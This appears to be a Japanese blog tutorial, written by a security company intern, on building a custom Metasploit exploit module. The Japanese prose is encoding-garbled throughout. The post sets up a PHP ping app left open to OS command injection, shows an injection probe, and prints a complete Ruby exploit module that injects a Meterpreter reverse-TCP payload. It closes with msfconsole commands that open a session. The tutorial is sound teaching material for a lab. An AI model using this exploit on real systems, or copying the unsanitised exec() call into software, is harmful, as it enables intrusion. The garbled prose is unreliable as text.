ã¯ããã«
ããã«ã¡ã¯ãæ ªå¼ä¼ç¤¾ã¨ãã»ã¨ãã»ã©ãã©ããªã¼ãº å¦çã¤ã³ã¿ã¼ã³ã®ç°å³¶ã§ãã
å¼ç¤¾ã§ã¯ç 究éçºã«ã¦ãµã¤ãã¼æ»æã·ãã¥ã¬ã¼ã·ã§ã³ãã©ãããã©ã¼ã ãéçºãã¦ãã¾ãããç¾å¨ãã®ãã©ãããã©ã¼ã ã§ä½¿ç¨ããã¦ããæ»æã·ããªãªãMetasploitã§èªåçã«å®è¡ã§ããããã«ãã¦ãã¾ãã
ããã«é¢é£ãã¦ãä»åã¯Metasploitã®ã¢ã¸ã¥ã¼ã«éçºã®æ¹æ³ã«ã¤ãã¦è§£èª¬ããããã¨æãã¾ãã
Metasploitã®æ¦è¦
Metasploitã¯ãããã¬ã¼ã·ã§ã³ãã¹ãã®ãã¬ã¼ã ã¯ã¼ã¯ã§ããMetasploit Frameworkã®ç¥ã§Metasploitããã°ãã°ä½¿ããã¾ãã
ãªã¼ãã³ã½ã¼ã¹ã®ããã¸ã§ã¯ãã§Kali Linuxãªã©ã§ã¯æ¨æºã§ã¤ã³ã¹ãã¼ã«ããã¦ãããèå¼±æ§ã®æ¤è¨¼ã§ãã®ãã¼ã«ãç¨ãããããã¨ãå¤ãã§ãããã
åºæ¬çãªä½¿ãããã
Metasploitãç¨ããèå¼±æ§ã®æ¤è¨¼ã¯ä¸»ã« ã¢ã¸ã¥ã¼ã« ãä»ãã¦è¡ããã¾ãã
ããã¦ãã®ã¢ã¸ã¥ã¼ã«ã¯ MSFConsole ã¨ãã ã¤ã³ã¿ã¼ãã§ã¤ã¹ã«ã¦æä½ãããã¨ãã§ãã¾ãã
ãã使ç¨ãããã¢ã¸ã¥ã¼ã«ã¿ã¤ã
Exploits: ãã¤ãã¼ãã使ç¨ãã·ã¹ãã ã«ã¢ã¯ã»ã¹ã§ããããã«ãã
Auxiliary: ã¿ã¼ã²ããã®ã·ã¹ãã ã®æ å ±åéãªã©
Payloads: ã¿ã¼ã²ããã®ã·ã¹ãã ã§å®è¡ãããã³ã¼ã
Encoders: ãã¤ãã¼ããæå·åãã¦ã¤ã«ã¹å¯¾çãªã©ãåé¿ãã
Post: ã·ã¹ãã ã«ã¢ã¯ã»ã¹å¾ãã®ã·ã¹ãã ã«é¢ãã詳細æ å ±ãåéãã
Metasploitã®ã¢ã¸ã¥ã¼ã«ã¯æ¢ç¥ã®èå¼±æ§ã«ãå¹ åºã対å¿ãã¦ããããã大æµã®ãã¨ã§ããã° MSFConsole ã Exploit-DB ããæ¤ç´¢ãããã¨ã§ç¨éã«åã£ãã¢ã¸ã¥ã¼ã«ãè¦ã¤ãã使ç¨ãããã¨ãã§ãã¾ãã
ããããªããç¬èªã®ã·ã¹ãã ã§ãã£ããç¹å®ã®æä½ãå¿ è¦ã«ãªããªã© ã¢ã¸ã¥ã¼ã«ã¨ãã¦å®è£ ããã¦ããªãèå¼±æ§ ã¨ãªãã°ãããããæ¤è¨¼ããä¸é£ã®æä½ãèªåçã«è¡ãããã«èªåã§ã¢ã¸ã¥ã¼ã«ãä½æã¾ãã¯æ¡å¼µããå¿ è¦ãããã¾ãã
ã¢ã¸ã¥ã¼ã«ã®éçº
ä»åã¯ä»¥ä¸ã®ãããªèå¼±æ§ã®ããã¢ããªã±ã¼ã·ã§ã³ãä¾ã¨ãã¦ãExploitsã¢ã¸ã¥ã¼ã«ã®éçºãè¡ãã¾ãã
対象
ã¿ã¼ã²ããã¨ãã¦OSã³ãã³ãã¤ã³ã¸ã§ã¯ã·ã§ã³ã®èå¼±æ§ãå«ãWebã¢ããªã±ã¼ã·ã§ã³ãä½æãã¾ãã
Dockerfile
FROM php:7.2-apache RUN apt update RUN apt install iputils-ping net-tools -y
docker-compose.yml
version: '3' services: php-apache: build: . ports: - "8080:80" volumes: - ./src:/var/www/html
src/index.php
<body> <form action="index.php" method="post"> Domain or IP: <input type="text" name="ip"> <br> <input type="submit" value="Submit"> </form> <?php $ip = isset($_POST['ip']) ? $_POST['ip'] : ""; exec("ping -c 1 -W 5 $ip", $out, $result); if($result){ echo 'Failed'; }else{ echo 'Success: '; echo $out[0]; } ?> </body>
èµ·åãããã¨æ¬¡ã®ãããªç»é¢ãéãã¾ãã
試ãã« example.com ãå ¥åãã¦ã¿ã¾ãã
pingã³ãã³ãã®å®è¡çµæãè¿ã£ã¦ãã¾ããã
次ã«ãOSã³ãã³ãã¤ã³ã¸ã§ã¯ã·ã§ã³ã®èå¼±æ§ãæªç¨ãã以ä¸ã®ãããªãã¤ãã¼ããå ¥åããèå¼±æ§ãåå¨ããã確èªãã¦ã¿ã¾ãã
;echo hello
å ¥åããã¨helloãè¿ã£ã¦ãã¾ããã
ã¢ã¸ã¥ã¼ã«ãä½æãã
å ã»ã©ã®Webã¢ããªã±ã¼ã·ã§ã³ã®èå¼±æ§ãå©ç¨ãã¦Meterpreterã®ã»ãã·ã§ã³ãå¼µããããªã¢ã¸ã¥ã¼ã«ãä½æãã¦ã¿ã¾ãããã
æ©éã§ããã次ã®ãããªã³ã¼ãã«ãªãã¾ãã
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, # Name: ã¢ã¸ã¥ã¼ã«ã®åå [ãã³ãã¼] [ã½ããã¦ã§ã¢] [ãã°çºè¦ç®æ] [èå¼±æ§ã®ç¨®é¡] ã®ãããªæ¸ãæ¹ãæ¨å¥¨ããã¦ãã 'Name' => 'Ping app - Remote Code Execution (Reverse Shell)', # Description: ã¢ã¸ã¥ã¼ã«èªä½ã®èª¬æ 'Description' => %q( Establish a reverse shell via remote code execution ), 'License' => MSF_LICENSE, # Author: ã¢ã¸ã¥ã¼ã«ã®ä½è åãã¾ãã¯çµç¹å 'Author' => ['tamagrm'], # References: ã¢ã¸ã¥ã¼ã«ã«é¢ããæ å ±æºã¸ã®ãªã³ã¯ãCVEã¨ãã£ãèå¼±æ§èå¥å 'References' => [], # DefaultOptions: ããã©ã«ãã®ãªãã·ã§ã³å¤ãè¨å®ãã 'DefaultOptions' => { 'encoder' => 'php/base64', 'payload' => 'php/meterpreter/reverse_tcp', }, # Privileged: ã¢ã¸ã¥ã¼ã«ãé«ãç¹æ¨©ãå¿ è¦ã¨ããã 'Privileged' => false, # Platform: ã©ã®ãã©ãããã©ã¼ã ããµãã¼ããã¦ããã 'Platform' => ['php'], # Arch: ã©ã®ã¢ã¼ããã¯ãã£ããµãã¼ããã¦ããã 'Arch' => [ARCH_PHP], # Targets: exploitã®å¯¾è±¡ã¨ãªãã·ã¹ãã ãã¢ããªã±ã¼ã·ã§ã³ 'Targets' => [['Wildcard Target', {}]], # DefaultTarget: Targetsã§æå®ãããã®ãããã©ã«ãã§ã©ãã対象ã«ããã 'DefaultTarget' => 0\ ) ) register_advanced_options( [ OptBool.new( "ExitOnSession", [true, "Return from the exploit after a session has been created", true] ), OptInt.new( "ListenerTimeout", [false, "The maximum number of seconds to wait for new sessions", 0] ), ] ) end def exploit if datastore['DisablePayloadHandler'] print_error "DisablePayloadHandler is enabled, so there is nothing to do. Exiting!" return end send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('index.php'), 'vars_post' => { 'ip' => ";php -r '#{payload.encoded}'", } }) stime = Time.now.to_f timeout = datastore['ListenerTimeout'].to_i loop do break if session_created? && datastore['ExitOnSession'] break if timeout > 0 && (stime + timeout < Time.now.to_f) Rex::ThreadSafe.sleep(1) end end end
Metasploitã®ã¢ã¸ã¥ã¼ã«ã¯PythonãGoã§ãè¨è¿°ãå¯è½ã§ãããå¤ãã¯Rubyã§æ¸ããã¦ãã¾ã1ã
ãã®ã³ã¼ããä¸ããé ã«è¦ã¦ããã¾ãã
ç¶æ¿å
ã¯ä½æããã¢ã¸ã¥ã¼ã«ã®ã¿ã¤ãã«ãã£ã¦ç°ãªããExploitã§ããã° Msf::Exploit::Remote
ãAuxiliaryã§ããã° Msf::Auxiliary
ã®ããã«ãªãã¾ãã
Exploitã¢ã¸ã¥ã¼ã«ã«ã¯ Rank ã¨ããä¿¡é ¼æ§ã®ææ¨ãããã¾ããããµã¼ãã¹ãã¯ã©ãã·ã¥ãããã¤ããã¯ãªãã®ã§ãExcellentRankingã¨ãã¦ãã¾ãã詳細ã¯ãã¡ã
initialize()
ã§ã¯ãã®ã¢ã¸ã¥ã¼ã«ã«é¢ããæ
å ±ã¨ã¢ã¸ã¥ã¼ã«ä½¿ç¨æã«è¨å®ã§ãããªãã·ã§ã³ãå®ç¾©ãããã¨ãã§ãã¾ãã
Targets
㨠DefaultTarget
ã®è¨å®ããã¦ããªãã£ããã payload
㨠Platformã»Arch
ãä¸è´ãã¦ããªãã¨Exploitã¢ã¸ã¥ã¼ã«ã®ãã¤ãã¼ãããã¾ãåä½ããªãã®ã§æ³¨æãå¿
è¦ã§ãã
register_advanced_options()
ã§ã¯ã¢ã¸ã¥ã¼ã«ã使ç¨ããéã«æå®ã§ãããªãã·ã§ã³ãç»é²ãã¦ãã¾ãã
ãªãã·ã§ã³ã®ç»é²ã¯ register_options()
ã§ãå¯è½ã§ããããã®å ´åã¯MSFConsoleä¸ã§ options
ã¨å©ãã¨Module optionsã«è¡¨ç¤ºããã register_advanced_options()
ã§ã¯ advanced
ã¨å©ããã¨ã§Module advanced optionsã«è¡¨ç¤ºããã¾ãã
ä»åã¯ãã³ãã¬ã¼ãã«å£ã£ã¦advancedã®æ¹ã使ã£ã¦ãã¾ãã
exploit()
ã§ã¯å®éã«ã¨ã¯ã¹ããã¤ããéå§ããã主ã«ãªãã·ã§ã³ã§æå®ããå¤ã datastore[]
ã§èªã¿è¾¼ã¿ã¤ã¤ããã§ã«çæããã¦ãããã¤ãã¼ãã対象ã®ã·ã¹ãã ã«æãã¦ãã¾ãã
send_request_cgi()
ã¯HTTPã§ã®ãªã¯ã¨ã¹ãã®éä¿¡ãã¬ã¹ãã³ã¹ãèªã¿åãããããWebã¢ããªã±ã¼ã·ã§ã³ã対象ã¨ããèå¼±æ§ã®æ¤è¨¼ã«å½¹ç«ã¡ã¾ãã
ä½æããã¢ã¸ã¥ã¼ã«ã«ã¤ãã¦ãã£ã¨èª¬æãã¾ããã
ãã詳ããExploitã¢ã¸ã¥ã¼ã«ã®æ§é ãç¥ãããæ¹ã¯ä»¥ä¸ããã確èªãã ããã
ä½æããã¢ã¸ã¥ã¼ã«ã使ã
MSFConsoleã§èªã¿è¾¼ã¿ã»å®è¡ãããã¨ã§ãWebã¢ããªã±ã¼ã·ã§ã³ã®èå¼±æ§ãå©ç¨ãã¦Meterpreterã®ã»ãã·ã§ã³ãå¼µãããã試ãã¾ãã
ã¾ããä½æããã¢ã¸ã¥ã¼ã«ã¯ ~/.msf4/modules/
ããä¸ã®é層ã«é
ç½®ãã¾ãã
ä¾
~/.msf4/modules/exploits/linux/http/ping_app_rce.rb
~/.msf4/modules/
ã¯ã«ã¹ã¿ã ã¢ã¸ã¥ã¼ã«ãé
ç½®ããå ´æã§ããã©ã¤ããªã¢ã¸ã¥ã¼ã«ãåå¨ãã /usr/share/metasploit-framework/modules/
ã¨ã¯éããã¯ããã¯ä½ããªãç¶æ
ãã¨æããã¾ãã
é
ç½®ããå¾ã¯ MSFConsole ãåèµ·åããã㯠reload_all
ãå©ããå度ã¢ã¸ã¥ã¼ã«ãèªã¿è¾¼ã¾ãã¾ãã
ããã¨æ¬¡ã®ããã«é¸æã§ããããã«ãªãã¾ãã
åãªãã·ã§ã³ãã»ãããå®è¡ãã¾ãã
set rhosts 127.0.0.1 set rport 8080 set lhost 10.211.55.4 exploit
Meterpreterã®ã»ãã·ã§ã³ãå¼µãããã¨ã確èªãã¾ããã
ãããã«
ä»åã¯Metasploitã®ã¢ã¸ã¥ã¼ã«éçºã®æ¹æ³ã«ã¤ãã¦ç´¹ä»ãã¾ããã
ã¿ã¼ã²ãããå°ããªWebã¢ããªã±ã¼ã·ã§ã³ã ã£ãã®ã§ãèªè¨¼æ å ±ãªã©ãä¿åãããããªCREDSãLOOTã¨ãã£ãMetasploitã®æ©è½ãç¶²ç¾ çã«èª¬æã§ãã¦ãã¾ããããåºæ¬çãªExploitã¢ã¸ã¥ã¼ã«ä½æã®æµããæ´ãããã¨æãã¾ãã
Metasploitã¢ã¸ã¥ã¼ã«ã®éçºã«é¢ããæ¥æ¬èªã®æ å ±ã¯ç¾å¨å°ãªãããããã®è¨äºããåèã«ãªãã°å¹¸ãã§ãã